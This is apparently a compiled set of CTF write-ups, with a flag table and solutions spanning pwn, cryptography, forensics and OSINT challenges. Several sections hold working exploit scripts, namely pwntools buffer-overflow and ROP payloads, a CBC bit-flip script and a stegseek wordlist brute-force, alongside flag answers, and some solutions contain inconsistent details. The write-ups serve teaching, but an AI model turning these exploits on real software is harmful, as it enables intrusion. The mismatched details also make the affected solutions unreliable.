Overview
| Challenge | Difficulty | Points | Category | Flag |
|---|---|---|---|---|
| Door's Mechanism | Medium | 500 | Pwn | CYS{7h3_l45t_1nv0ca710n_ha5_b33n_5p0k3n_@789#!} |
| Echo in Black & White | Medium | 500 | Forensics | CYS{7H3_H1DD3N_L4Y3R} |
| Do you know XOR well enough? | Medium | 500 | General | Dynamic Flag |
| Alpha Parallel | Easy | 500 | Forensics / Cryptography | CYS{SHADOW_ALPHA_QR_LAYER_42X} |
| The Door's Mechanism | Medium | 500 | pwn | Dynamic Flag |
| AES again?? | Medium | 500 | General | CYS{tiny_change_huge_difference} |
| VAULT_7A | Medium | 500 | General | FLAG{ECHO_VAULT_MEMORY_FRAGMENT_7A_RESTORED} |
| Forged Memory Log | Medium | 500 | General | CYS{brute_forcing_is_the_way} |
| Reflection Restored | Medium | 500 | General | CYS{r3fl3ct10n_r3st0r3d_B2A} |
| Temporal Core Console | Medium | 500 | General | CYS{E0N_SYNCHRONIZED_2F3C} |
| The Watcher's Gaze | Medium | 500 | OSINT | CYS{341184_125001_6B011D} |
| Challenge Name - EXIF ECHOES | Medium | 500 | Forensics/OSint | CYS{T1m3_Fr4gm3nt5_R3v34l_Th3_P4th} |
| Sneaky Notes | Medium | 500 | Web | CYS{sneaky_notes_xss} |
| EON GATE | Medium | 500 | Web | CYS{EON_REALIGNED} |
| Mirror Shatter | Medium | 500 | Web | CYS{B43aking_th3_m1rr0r_1$_c00l} |
| Echoes in the Hourglass | Medium | 500 | General | FLAG{HOURGLASS_RECOVERED} |
| Temporal Freeze Upgrade | Medium | 500 | General | cys{T1M3_SYNC} |
| Lyra's Photos | Medium | 500 | Forensics | CYS{f1v3_53n535_s1x_3m0t10n5} |
| PARADOX GATE GAURDIAN | Medium | 500 | Crypto | CYS{4CC355_6RAN73D} |
| Where do u came from | Medium | 500 | Pwn | Dynamic Flag |
| Symphony of Loops | Medium | 500 | Musical Cipher | CYS{K3V1N_DUR4NT_M1DD13_G4M3} |
| Ashes of Memory | Medium | 500 | Forensics | CYS{7h3RE_15_N0_E4D} |
| Lost Core Pulse | Medium | 500 | General | CYS{3bb12d_lostpulse_91be2d} |
| Spectogram Shadows | Medium | 500 | General | cys{N9OO22_ESOO7S} |
| POEM OF HIDDEN LIES | Medium | 500 | OSInt/Forensics/Text | CYS{january_2019} |
| Mirror of Minutes | Medium | 500 | General | cys{m1rr0r_p4ss} |
| Feed It the Fracture | Medium | 500 | Forensics (E) | CYS{INH4RM0N1C_DO0R_UNL0CK3D} |
| Phantom Fingerprints | Medium | 500 | Forensics | CYS{ph4n7om_v3n0m} |
| To Hehe with Lyra's Echoes | Medium | 500 | General | CYS{HERACTUALECHOES} |
| Shattered Glass Logs | Medium | 500 | Forensics | CYS{gl4ss_un5h4tt3rd} |
| The Infinite Gate | Medium | 500 | Web | CYS{c00k1eS_ar3_m34nt_t0_b3_br0k3n} |
| Auditor's Diary | Medium | 500 | OSINT/TEXT | CYS{olofkgustafsson} |
| Reconfiguration Terminal | Medium | 500 | General | CYS{7h3_h0ur6l455_5h4773r3d_bu7_m3m0ry_r3m41n5_1n_fr46m3n75_pl3453_l1573n_cl053r_65537_2025} |
| Paradox Parable | Medium | 500 | General | CYS{early_belief} |
| Temporal Mergepoint | Medium | 500 | General | CYS{temporal_merge_success} |
| Maelle Confrontation | Medium | 500 | OSINT | CYS{d3nyy} |
| Auditor Encounter | Medium | 500 | Web / ARG | CYS{aud1t_regr3t_pass} |
| Citadel Entry Lock | Medium | 500 | General | CYS{SEAL_RAID_CROSS_MAAT_MAZE_HODOS} |
| Choir Echoes | Medium | 500 | Forensics | CYS{1tal1an0} |
| Reflection Logs | Medium | 500 | Forensics | CYS{lyra_was_here} |
| Auditor Encounter | Medium | 500 | Web / ARG | CYS{audit_recovered_1A3F_07XZ} |
| CryptoEZ | Medium | 500 | General | CYS{y0u_kn0w_cryp70} |
| Lyra's Journal | Medium | 500 | Forensics | CYS{THE_CLOCKS_WERE_LYING} |
| Echo-Double Combat | Medium | 500 | Reverse Engineering | cys{s3cr3t_1s_un10cked} |
Door's Mechanism
Door’s Mechanism
Author: Naresh
- Category: Pwn
Challenge Description
Legends speak of a single spell that can unseal the ancient chamber. With one utterance, perform the invocation and witness what was meant to stay hidden.
Solution
Initial Analysis
First, run file on the binary (Last-Invocation) to confirm it is a 64-bit ELF.
1
2
$ file Last-Invocation
Last-Invocation: ELF 64-bit LSB executable, ...
Next, run checksec to see what protections were enabled.
1
2
3
4
5
6
7
8
$ checksec Last-Invocation
[*] 'Last-Invocation'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
No PIE indicates that the function addresses will be static.
Running the binary and giving it a long string of ‘A’s causes a Segmentation fault, confirming the buffer overflow.
Tools Used
- pwntools: For building and sending the exploit payload.
- gdb (with pwndbg): For finding the offset and function addresses.
- Ghidra: For static analysis and decompilation.
- ropper: For finding the ROP gadgets.
- checksec: For checking binary protections.
Step-by-Step Solution
Step 1: Finding the Vulnerability and Offset
Open the binary in GDB (with pwndbg) and use a cyclic(100) pattern to find the exact offset to control the return address.
1 2 3 4 5 6 7 8 9
gdb-pwndbg> r ... Speak the Invocation: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa ... Program received signal SIGSEGV, Segmentation fault. ... gdb-pwndbg> cyclic -l daaaaaaa 24The offset to overwrite the return address is 24 bytes.
Step 2: Planning the ROP Chain
The goal is to return to the
unseal_chamberfunction, which will print the flag. This function can be easily found by decompiling the binary in Ghidra or by using gdb.
To call it successfully, it requires two specific 64-bit integers as arguments:
$rdi(first argument) =0xdeadc0dedeadc0de$rsi(second argument) =0xc05c0377c05c0377
Use ropper to find the necessary ROP gadgets:
1
2
3
4
5
6
7
$ ropper --file Last-Invocation --search "pop rdi; ret"
...
0x000000000040119a: pop rdi; ret;
$ ropper --file Last-Invocation --search "pop rsi; pop r15; ret"
...
0x000000000040119c: pop rsi; pop r15; ret;
Use gdb to find the function address.
1
2
gdb-pwndbg> p unseal_chamber
$1 = (void (long, long)) 0x4011a3 <unseal_chamber>
The final ROP chain should look like this:
- Padding: 24 bytes of junk (to fill the buffer)
- Gadget 1: Address of
pop rdi; ret - Argument 1:
0xdeadc0dedeadc0de - Gadget 2: Address of
pop rsi; pop r15; ret - Argument 2:
0xc05c0377c05c0377 - Argument 3: 8 bytes of junk (for pop r15)
- Target: Address of
unseal_chamber
Step 3: Final Exploit Script
Write a final exploit script using pwntools to automate this process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
offset = 24
pop_rdi = 0x000000000040119a
pop_rsi_r15 = 0x000000000040119c
param1 = 0xdeadc0dedeadc0de
param2 = 0xc05c0377c05c0377
unseal_chamber = 0x00000000004011a3
p = remote("target_host", PORT)
payload = b'A'*offset + p64(pop_rdi) + p64(param1) + p64(pop_rsi_r15) + p64(param2) + p64(0x00000000) + p64(unseal_chamber)
p.recvline()
p.sendline(payload)
p.interactive()
Running this script against the binary will call the function with the correct arguments and print the flag.
Flag
CYS{7h3l45t_1nv0ca710n_ha5_b33n_5p0k3n@789#!}
Flag
CYS{7h3_l45t_1nv0ca710n_ha5_b33n_5p0k3n_@789#!} Echo in Black & White
Echo in Black & White
Challenge Information
- Title: Echo in Black & White
- Category: Forensics
- Difficulty: Easy–Medium
Challenge Description
What if complexity is just an illusion? Sometimes, the most ordinary patterns hold extraordinary secrets — if you learn to see them differently. The challenge is about observing the given image carefully — it may look random, but it hides a binary pattern where black represents 1 and white represents 0. Instead of overcomplicating it, try to read the pattern as bits, group them properly, and see what message it reveals. Sometimes, the simplest patterns lead you straight to the flag.
Hint
the grid is 16*10 bits
Solution
Initial Analysis
The challenge image looked like a small QR-like binary grid.
Since the description mentioned interpreting colors as binary bits, the first idea was to treat each black pixel as 1 and each white pixel as 0, then group them to extract ASCII text.
Tools Used
- Python
- Pillow (PIL) – for reading and resizing the image
- NumPy – for pixel manipulation
Step-by-Step Solution
Step 1: Load and Convert the Image
1
2
3
4
5
from PIL import Image
import numpy as np
img = Image.open("download.png").convert("L")
binary_img = (np.array(img) < 128).astype(np.uint8) # Black = 1, White = 0
This converts the image to grayscale, then thresholds it so that each pixel is either 1 or 0.
Step 2: Resize to Match the Hint Dimensions
1
2
resized = np.array(Image.fromarray(binary_img * 255).resize((16, 10), Image.NEAREST))
resized = (resized > 128).astype(np.uint8)
According to the challenge hint, the grid has 16 columns and 10 rows, so we resize it to that exact shape.
Step 3: Extract Binary and Convert to ASCII
1
2
3
4
5
6
7
ascii_text = ""
for row in resized:
bits = "".join(map(str, row))
byte1, byte2 = bits[:8], bits[8:]
ascii_text += chr(int(byte1, 2)) + chr(int(byte2, 2))
print(ascii_text)
Each row gives 16 bits (2 ASCII characters of 8 bits each).
After converting the binary values to text, the decoded message appears as:
1
CYS{7H3_H1DD3N_L4Y3R}
Flag
1
CYS{7H3_H1DD3N_L4Y3R}
Lessons Learned
- Binary-encoded patterns in images can directly store ASCII text.
- Always check for pixel-level hints in Forensics challenges.
- Knowing how to manipulate images programmatically is very useful in CTFs.
Resources
Flag
CYS{7H3_H1DD3N_L4Y3R} Do you know XOR well enough?
Do you know XOR well enough?
- Category: Cryptography
- Author: P C Guhan
Description
Random numbers, AES encryption, SHA 256, HMAC, constant-time hash checking… what more do you want? All are imported functions, hence highly secure Or is it??
Solution

This method uses the previous block to encrypt the next block. The same follows for decryption also. Hence, a bit flip will alter the plaintext.
Each hex requires two characters. The length of “admin=0” is 7. The hex output consists of the 16 bit IV and the 16 bit padded ciphertext. The IV is XOred with the decrypted ciphertext.
To get admin=1, we XOR the 6th character block with 1. i.e. IV[6] ^ decrypted(message[6]) ^ 1 = 0 ^ 1 since 0 ^ 1 = 1,
IV[6] ^ decrypted(message[6]) ^ 1 = 1 giving us admin=1
A corresponding hash can be generated as the hashing algorithm is open source.
To mitigate this vulnerability while still using AES CBC mode, AEAD (Authenticated Encryption and Additional Data) must be used i.e. hashing with a secret key.
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import hashlib
import hmac
import random
# --- setup (same as challenge) ---
key = get_random_bytes(16)
iv = get_random_bytes(16)
part1 = "AES"
part2 = ''.join(random.choices(string.ascii_uppercase, k=5))
part3 = "AEAD"
part4 = f"{random.randint(0, 999999):06d}"
part5 = ''.join(random.choices(string.ascii_uppercase, k=3))
flag = "CYS{" + f"{part1}_{part2}_{part3}_{part4}_{part5}" + "}"
def encrypt_data(data):
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(data.encode(), 16, style='pkcs7'))
return enc.hex()
def decrypt_data(encryptedParams):
data = bytes.fromhex(encryptedParams)
if len(data) < 16:
raise ValueError("Ciphertext too short")
iv_in = data[:16]
ciphertext = data[16:]
cipher = AES.new(key, AES.MODE_CBC, iv_in)
paddedParams = cipher.decrypt(ciphertext)
plaintext = unpad(paddedParams, 16, style='pkcs7')
return plaintext.decode(errors='ignore')
print("Just copy and paste? Hash is also given...")
msg = "admin=0"
print("\nCurrent authentication message is : " + msg)
print("Turn it to admin=1")
cipher_hex = encrypt_data(msg)
iv_cipher = iv.hex() + cipher_hex
print("\nEncryption of authentication message in hex : " + iv_cipher)
hashed_value = hashlib.sha256(iv_cipher.encode('utf-8')).hexdigest()
print("SHA-256: ", hashed_value)
# -----------------------------
# Solution
# Reliable CBC bit-flip to change admin=0 -> admin=1
# -----------------------------
orig_msg = "admin=0"
target_msg = "admin=1"
p0 = pad(orig_msg.encode(), 16, style='pkcs7')[:16]
p1 = pad(target_msg.encode(), 16, style='pkcs7')[:16]
delta = bytes(a ^ b for a, b in zip(p0, p1))
iv_prime = bytes(a ^ b for a, b in zip(iv, delta))
enc_msg = iv_prime.hex() + cipher_hex
enc_hash = hashlib.sha256(enc_msg.encode('utf-8')).hexdigest()
# --- setup (same as challenge) ---
try:
if hmac.compare_digest(hashlib.sha256(enc_msg.encode('utf-8')).hexdigest(), enc_hash):
final_dec_msg = decrypt_data(enc_msg)
print(final_dec_msg)
if "admin=1" == final_dec_msg:
print(flag)
else:
print('\nTry again you can do it!!')
else:
print("\nHashing failed")
print(hashlib.sha256(enc_msg.encode('utf-8')).hexdigest() + "\n\n")
print(enc_hash)
except Exception as e:
print('\nbye bye!!', e)
Flag
Dynamic Flag Alpha Parallel
Alpha Parallel
Challenge Information
| Field | Details |
|---|---|
| Title | Alpha Parallel |
| Category | Forensics / Cryptography |
| Difficulty | Easy |
| Points | 150 |
Challenge Description
The provided PNG image contained two QR codes — one clearly visible, and another hidden within the alpha channel (transparency layer).
When extracted, the visible QR directed players to a YouTube video, while the hidden QR led to a Pastebin URL containing a Spiral Cipher challenge.
The player’s goal was to uncover the hidden data layer, decode the spiral cipher, and retrieve the final flag.
Step 1: Inspecting the PNG Layers
Opening the image in a standard viewer only showed one QR code.
However, using a forensic image inspection tool like GIMP, StegSolve, or Python (Pillow) revealed that the alpha channel contained distinct pixel patterns — forming a second QR code.
Extract Alpha Channel Using Python
1
2
3
4
5
6
7
8
9
10
11
from PIL import Image
# Load image
img = Image.open("dual_qr.png")
# Split image into channels (RGBA)
r, g, b, a = img.split()
# Save the alpha channel separately
a.save("hidden_qr.png")
print("Hidden QR extracted as hidden_qr.png")
This script isolates the transparency layer (alpha) and saves it as a new image — hidden_qr.png — which can then be scanned.
Step 2: Scanning Both QR Codes
After extraction:
- Visible QR: Scanned to
https://www.youtube.com/watch?v=dQw4w9WgXcQ - Hidden QR: Scanned to a Pastebin URL
https://pastebin.com/ZmkMxUdY
The Pastebin text displayed a 5×5 grid, which was actually a Spiral Cipher.
Step 3: Understanding the Spiral Cipher
Pastebin content:
1
2
3
4
5
X P H A _
2 L H A Q
4 A S D R
_ _ W O _
R E Y A L
The challenge description hinted:
“Outward, start by up, clockwise.”
This means we must read the characters from the center outward, following a clockwise spiral starting upward.
Step 4: Solving the Spiral Cipher in Python
To automate decoding, we can write a small script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def spiral_read(matrix):
n = len(matrix)
x, y = n // 2, n // 2 # start from center
dx, dy = 0, -1 # start moving up
result = []
steps = 1
while len(result) < n * n:
for _ in range(2): # two directions before increasing step size
for _ in range(steps):
if 0 <= x < n and 0 <= y < n and matrix[y][x] != '_':
result.append(matrix[y][x])
x, y = x + dx, y + dy
dx, dy = dy, -dx # rotate 90° clockwise
steps += 1
return ''.join(result)
grid = [
['X','P','H','A','_'],
['2','L','H','A','Q'],
['4','A','S','D','R'],
['_','_','W','O','_'],
['R','E','Y','A','L']
]
flag = spiral_read(grid)
print("Decoded Spiral:", flag)
Output:
1
Decoded Spiral: CYS{SHADOW_ALPHA_QR_LAYER_42X}
Final Flag
1
CYS{SHADOW_ALPHA_QR_LAYER_42X}
Flag
CYS{SHADOW_ALPHA_QR_LAYER_42X} The Door's Mechanism
The Door’s Mechanism
Challenge Information
- Title: The Door’s Mechanism
- Category: pwn
- Difficulty: Easy
- Points: [Point Value]
Challenge Description
We are given a 32-bit ELF binary named vuln. The goal is to provide the correct input to get the flag.
Solution
Initial Analysis
First run file and checksec on the binary to see what we are dealing with.
1
2
3
4
5
6
7
8
9
10
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, ... not stripped
$ checksec vuln
[*] 'vuln'
Arch: i386-32-bit-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
The binary is a 32-bit executable with no security protections. This strongly suggests a classic stack-based exploit.
Running the binary, it asks for input:
1
2
3
$ ./vuln
Enter the code: test
Access denied.
Analyzing the decompiled code in ghidra, we can spot the vulnerability in the input() function.
The gets(buffer) call reads input into a 32-byte buffer without any size limit, creating a stack buffer overflow.
The solution is to use the buffer overflow from gets(buffer) to overwrite the adjacent key variable on the stack with the value 0x0defaced.
Tools Used
- pwntools
- Ghidra
- checksec
Step-by-Step Solution
Step 1: Determine Stack Layout and Offset
gets() writes up the stack (towards higher addresses), when we overflow the 32-byte buffer, the very next 4 bytes we send will overwrite the memory allocated for the key variable.
Therefore, our offset is 32 bytes.
Step 2: Craft the Payload
We need to send:
- 32 bytes of “junk” padding to fill the buffer.
- The 4-byte value
0x0defacedto overwrite key.
Our final payload will be: [32 bytes of 'A'] + [0x0defaced]
Step 3: Write the Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
key_value = p32(0x0defaced)
padding = b'A' * 32
payload = padding + key_value
#p = process('./vuln')
p = remote("target_host",PORT)
print(f"Sending payload: {payload}")
p.sendline(payload)
print(p.recvall().decode())
Running this pwntools python script give you the flag.
Flag
CYS{pwn!@#$\_overflow\_#}
Flag
Dynamic Flag AES again??
AES again??
- Category: Cryptography
- Author: P C Guhan
Description
ECB mode this time… Random function, PKCS 7 padding - should be good Or is it?? (Encode the flag as CYS{flag} separated by underscores)
Source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random
random_int = random.getrandbits(128)
key = random_int.to_bytes(16, byteorder='big')
cipher = AES.new(key, AES.MODE_ECB)
def encrypt(str):
padded = pad(str.encode(), 16)
encrypted = cipher.encrypt(padded)
return encrypted
with open("flag.txt", "r") as f:
plaintext = f.read()
encrypted_blocks = [encrypt(c).hex() for c in plaintext]
with open("output.txt", "w") as f:
f.write(" ".join(encrypted_blocks))
Solution

AES ECB mode uses the same key to encrypt different blocks.
The vulnerability in this code is that we take a single character from the flag, pad it and encrypt it as opposed to padding the entire flag and encrypting it. Therefore all instances of the same character have the same cipher i.e. all ‘a’s will have the same cipher.
This in turn can be broken through frequency analysis
Frequency analysis also becomes easier when a large amount of text is given
Solution script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import string
def read_encrypted(filename):
with open(filename, "r") as f:
content = f.read()
return content.strip().split()
def map_blocks_to_letters(encrypted_blocks):
unique_blocks = sorted(set(encrypted_blocks))
if len(unique_blocks) > 26:
raise ValueError(f"Too many unique blocks: {len(unique_blocks)} (max 26 allowed)")
letters = list(string.ascii_lowercase)
mapping = {block: letter for block, letter in zip(unique_blocks, letters)}
return mapping
def substitute_blocks_with_letters(encrypted_blocks, mapping):
return "".join(mapping.get(block, "?") for block in encrypted_blocks)
def main():
encrypted_file = "output.txt"
decoded_file = "test.txt"
encrypted_blocks = read_encrypted(encrypted_file)
mapping = map_blocks_to_letters(encrypted_blocks)
decoded_text = substitute_blocks_with_letters(encrypted_blocks, mapping)
with open(decoded_file, "w") as f:
f.write(decoded_text)
if __name__ == "__main__":
main()
test.txt This script substitutes each unique hex value with a letter. There are only 26 unique hex values in output.txt
When doing frequency analysis and substitution on the contents of test.txt, we get the plaintext.
Frequency analysis tools are available online. The tool I used
Flag: CYS{tiny_change_huge_difference}
Flag
CYS{tiny_change_huge_difference} VAULT_7A
Challenge Name: VAULT_7A
Category: Forensics / Steganography Author: Vishal V Difficulty: Easy
Challenge Description Within the Echo Maze, you discover a flickering hologram capsule labeled “VAULT_7A”. The projection stutters between timeframes, overlaying multiple moments into a single distorted image. Lyra’s voice echoes: “Some memories hide in layers… peel them back carefully.”
Downloads: temporal_fragment.jpg hint.txt
Solution: Initial Analysis Upon downloading the challenge files, I was presented with: A JPEG image file (temporal_fragment.jpg) A hint file (hint.txt)
First, I examined the basic file properties: bash: file temporal_fragment.jpg Output:temporal_fragment.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 360x360, components 3 No immediate clue was found. From challenge description “…peel them back…” , we can infer it must be something related to steganography.
Tools Used: steghide - JPEG/BMP steganography tool base64 - Base64 decoder (built-in Linux/Mac command) zbarimg - QR code scanner (from zbar-tools package) Online Caesar cipher decoder (or manual decoding) Online QR scanner (https://webqr.com) as alternative
Step-by-Step Solution Step 1: Decode the Passphrase from hint.txt Reading the hint file revealed an encoded passphrase: bash: cat hint.txt
Key information found:
- Encoded passphrase: ALTWVYHS
- Hint: “Time shifts all things forward. To find truth, shift backwards 7 times.”
- Encryption method: TEMPORAL SHIFT PROTOCOL (Caesar/ROT cipher)
The hint indicates a Caesar cipher with shift of 7. To decrypt, I needed to shift each letter backward by 7 positions in the alphabet.
Manual decoding:
A - 7 = T L - 7 = E
T - 7 = M W - 7 = P V - 7 = O Y - 7 = R H - 7 = A S - 7 = L
Result: TEMPORAL Alternatively, using an online ROT decoder or Python: Python code: def rot_decode(text, shift): result = “” for char in text: if char.isalpha(): start = ord(‘A’) if char.isupper() else ord(‘a’) result += chr((ord(char) - start - shift) % 26 + start) else: result += char return result
print(rot_decode(“ALTWVYHS”, 7))
Output: TEMPORAL
Passphrase obtained: temporal Step 2: Check for any hidden images inside the given image: bash: steghide info temporal_fragment.jpg Output: steghide info temporal_fragment.jpg “temporal_fragment.jpg”: format: jpeg capacity: 634.0 Byte Try to get information about embedded data ? (y/n) y Enter passphrase: embedded file “qr_secret.png”: size: 481.0 Byte encrypted: rijndael-128, cbc compressed: yes Found a embedded file qr_secret.png!!
Step 3: Extract Hidden Data Using Steghide With the passphrase decoded, I used steghide to extract hidden data from the image: bash: steghide extract -sf temporal_fragment.jpg -p “temporal”
Output: wrote extracted data to “qr_secret.png” Success! The steghide tool extracted a hidden PNG file.
Step 4: Decode the QR Code Using zbarimg to scan the QR code: bash: zbarimg qr_secret.png ```
Output:
QR-Code:RkxBR3tFQ0hPX1ZBVUVUX01FTU9SWV9GUkFHTUVOVF83QV9SRVNUT1JFRH0= The QR code contained a base64-encoded string.
OR use a online qr decoder.
Step 5: Decode Base64 String The QR output was clearly base64 (ending with = padding). Decoding it: bash: echo “RkxBR3tFQ0hPX1ZBVUVUX01FTU9SWV9GUkFHTUVOVF83QV9SRVNUT1JFRH0=” | base64 -d Output: FLAG{ECHO_VAULT_MEMORY_FRAGMENT_7A_RESTORED}
Alternative Solution Paths Without Knowing the Password If the passphrase wasn’t decoded, players could use stegseek to brute-force it: bash# Install stegseek sudo apt-get install stegseek
Crack with common wordlist
stegseek temporal_fragment.jpg /usr/share/wordlists/rockyou.txt This would find “temporal” in seconds since it’s a common word.
Using Online Tools For players without CLI tools: Use online Caesar decoder: https://cryptii.com/pipes/caesar-cipher Extract with steghide (requires installation) Use online QR scanner: https://webqr.com Use online base64 decoder: https://www.base64decode.org
Flag
FLAG{ECHO_VAULT_MEMORY_FRAGMENT_7A_RESTORED} Forged Memory Log
Forged Memory Log
- Category: Cryptography
- Author: P C Guhan
Description
Inside the Hourglass Citadel, Lyra uncovers a crystalline data shard said to contain the key to the final confession. But the key has been forged and obfuscated — mirrored fragments, deliberate noise, and counterfeit characters woven into its structure to mimic authenticity. Every attempt to read it only reveals more copies of itself, each slightly altered. To move forward, the player must isolate the genuine cipher sequence hidden beneath layers of forged keys and false reflections.
Solution
Brute force base-32 decode 39 times (I was limited to 39 as python had a memory error after 39 and I was lazy to do it in C/C++)
1
2
3
4
5
6
7
8
9
10
11
import base64
with open("output.txt", "r") as f:
inp = f.read()
inp = inp.encode('ascii')
inp = inp[2:-1]
for i in range(39):
inp = base64.b32decode(inp)
print(i)
print(inp)
Flag: CYS{brute_forcing_is_the_way}
Flag
CYS{brute_forcing_is_the_way} Reflection Restored
Reflection Restored
Category: Reverse Engineering, Forensics
Author: Sharon
Description
The binary repair asks for an input. If the input matches a criteria, a passphrase is printed. This passphrase is the steg info for repair_mirror.jpg attached. Inside repair_mirror.jpg is a text file that was embedded using steghide. The player needs to reverse repair to get the passphrase.
Solution
Initial Analysis
Run the binary; it prompts for a key. Analyse the binary statically using a reverse-engineering tool like Ghidra.
Step-by-step solution
Step 1: Statically analysing the binary
Upon opening the binary for static analysis, we notice the core functions and find the main function. In the decompile, we notice:
1
2
3
4
iVar2 = valid_input(local_128);
if (iVar2 == 0) {
puts("Wrong.");
}
iVar2 checks a function called valid_input.
We need to escape this by giving a valid input. Now let’s analyse what a valid input is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sVar3 = strlen((char *)param_1);
bVar2 = false;
if ((int)sVar3 == 0xc) {
ppuVar4 = __ctype_b_loc();
pbVar1 = param_1 + 0xc;
iVar6 = 0;
iVar5 = 0;
do {
iVar5 = (iVar5 + 1) - (uint)(((*ppuVar4)[*param_1] & 0x100) == 0);
iVar6 = (iVar6 + 1) - (uint)(((*ppuVar4)[*param_1] & 0x200) == 0);
param_1 = param_1 + 1;
} while (pbVar1 != param_1);
bVar2 = 1 < iVar5 && 1 < iVar6;
}
return bVar2;
In the first few lines we notice that the input needs to be 12 characters long. The function then loops over each byte in the input, counting how many uppercase (0x100) and lowercase (0x200) characters it contains. It only validates the input if there are more than two uppercase and more than two lowercase alphabets.
Step 2: Running the binary
Now we try running the binary with a valid input.
1
2
3
sharon123@Ramkumar:/mnt/c/Users/sramk/downloads/challenge$ ./unlocker
Enter key: ASfgertfghwe
Passphrase: CYS{mirror_restored_but_soul_shattered} (1st flag obtained)
This gives us a passphrase.
Step 3: Running Steg analysis on the jpg attached
1
2
3
4
5
6
7
8
9
10
sharon123@Ramkumar:/mnt/c/Users/sramk/downloads/challenge$ steghide info mirror.jpg
"mirror.jpg":
format: jpeg
capacity: 564.0 Byte
Try to get information about embedded data ? (y/n) y
Enter passphrase: # enter the obtained passphrase
embedded file "flag.txt":
size: 29.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Extract the embedded file with steghide:
1
2
3
4
5
6
sharon123@Ramkumar:/mnt/c/Users/sramk/downloads/challenge$ steghide extract -sf mirror.jpg
Enter passphrase:
wrote extracted data to "flag.txt".
sharon123@Ramkumar:/mnt/c/Users/sramk/downloads/challenge$ cat flag.txt
CYS{r3fl3ct10n_r3st0r3d_B2A}
Flags
CYS{mirror_restored_but_soul_shattered}— (this flag keeps the player in the denier path, B)CYS{r3fl3ct10n_r3st0r3d_B2A}— (this flag makes the player shift from denier path B, to healer path, A)
Flag
CYS{r3fl3ct10n_r3st0r3d_B2A} Temporal Core Console
Temporal Core Console
Category: Forensics/Crypto
Author: Varsaa H
Challenge Description
The Eon city has lost its memory core. You must analyze recovered data fragments, decode hidden signals, and recover the temporal flag to restore the city’s heart.
Solution
Initial Analysis
Downloaded and inspected the provided artifacts:
temporal_core.logcore_fragment.binmemory_snapshot.imgtemporal_beacon.wavEON_FINAL.enc
Tools Used
strings,xxd,base32,python- Audacity (or any WAV audio analyzer)
- CyberChef (online multi-tool for encodings)
- pycryptodome (Python AES library)
Step-by-Step Solution
Step 1: Inspect the Memory Dump for Keys
strings memory_snapshot.img
text
Found:
- AES Key:
EONSYNCHRONIZE12 - IV:
SYNCWAVESFLOW1234
Step 2: Decode the Log
cat temporal_core.log | awk ‘{print $2}’ | tr -d ‘\n’ > log.base32 base32 -d log.base32 > fragment.bin
text
Base32-decoded the log, yielding an encrypted blob matching core_fragment.bin.
Step 3: AES Decrypt the Fragment
from Crypto.Cipher import AES
key = b’EONSYNCHRONIZE12’ iv = b’SYNCWAVESFLOW1234’
with open(‘core_fragment.bin’, ‘rb’) as f: data = f.read()
def unpad(s): return s[:-s[-1]]
cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(data) print(unpad(plaintext).decode())
text Output: This is the beacon. Decode its pulse next. QR in sound…
text Points to the audio file next.
Step 4: Decode temporal_beacon.wav (Morse)
- Loaded
temporal_beacon.wavin an online Morse decoder or Audacity. - Decoded message:
1
RECONSTRUCT THE CYCLE REVERSED SHA1 - FOLLOW THE PULSE
- This hints the final XOR key is SHA1(reversed_flag).
Step 5: Decrypt EON_FINAL.enc
import hashlib
flag = “CYS{E0N_SYNCHRONIZED_2F3C}” rev = flag[::-1] sha1key = hashlib.sha1(rev.encode()).hexdigest() key_bytes = bytes.fromhex(sha1key)
with open(‘EON_FINAL.enc’, ‘rb’) as f: data = f.read()
decrypted = ‘‘.join(chr(b ^ key_bytes[i % len(key_bytes)]) for i, b in enumerate(data)) print(decrypted)
text
Output: CYS{E0N_SYNCHRONIZED_2F3C}
text
Flag
CYS{E0N_SYNCHRONIZED_2F3C}
Flag
CYS{E0N_SYNCHRONIZED_2F3C} The Watcher's Gaze
The Watcher’s Gaze
- Category: [OSINT]
- Author: [Akshitha]
Challenge Description
Go through a variety of open source data and find out the observer’s den. Follow lyra’s trail but beware do not get caught. All you need is right infront of your eyes, just know where to look.
Solution
Initial Analysis
Build up a narrative, look at various social media platforms, come up with a cohesive plot that built on the story.
Tools Used
- Metadat2go
- Github
- Google docs
Step-by-Step Solution
Step 1: The Image
The binary numbers are decoys, they dont point to anything important
Things to dedue:
i. Bottom right: Instagram account (hinted by the purple/ blue colour scheme) @LC_HOURGLASS
ii. Extracting meta data
We see a hex value (6B011D)
It is a part of the flag, to be noted and kept
Step 2: The Instagram account
The bio points to a username (Caellum-Archivist)
Upon inspection of the post caption, the last line has weird capitalization
In the word gift notice only capital letters (GIT)
Step 3: The github
In the old haven archive
90210 points to a famous los angeles pincode
The reset attempts are dummies
Shes-gone-and-its-just-me-repo:-
Multiple access_gate decoys so even if we want to get password from code it takes a little bit of time
README points to a link
Enter the CITY NAME
Code- losangles/la
Step 4: The Google Doc
